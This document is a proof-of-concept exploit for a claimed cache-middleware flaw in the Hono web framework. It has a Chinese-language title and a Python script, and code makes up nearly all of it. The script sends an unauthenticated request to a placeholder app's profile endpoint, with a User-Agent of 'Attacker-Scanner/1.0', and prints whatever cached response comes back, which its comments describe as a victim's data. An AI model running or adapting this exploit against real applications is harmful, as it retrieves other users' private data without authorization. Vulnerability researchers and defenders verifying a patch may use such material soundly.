CVE-2026-44457 Hono缓存中间件敏感信息泄露漏洞

import requests # PoC for CVE-2026-44457: Hono Cache Middleware Information Leakage # This script demonstrates how an attacker can retrieve cached data of another user. target_url = "http://vulnerable-hono-app.com/api/profile" def exploit(): # Step 1: Simulate the scenario where a victim's data is cached. # In a real attack, this happens naturally when a victim browses the site. # Here we assume the cache is already populated by a previous request from a victim. print("[+] Assuming victim data is already cached...") # Step 2: Attacker sends a request without authentication headers. # The application should return 401 Unauthorized. # However, due to the vulnerability, it returns the cached 200 OK from the victim. headers = { # No Authorization or Cookie headers "User-Agent": "Attacker-Scanner/1.0" } print(f"[*] Sending unauthenticated request to {target_url}") response = requests.get(target_url, headers=headers) # Step 3: Check if we received the victim's data if response.status_code == 200: print("[+] Exploit successful! Received cached data:") print(response.text) else: print(f"[-] Exploit failed. Status code: {response.status_code}") if __name__ == "__main__": exploit()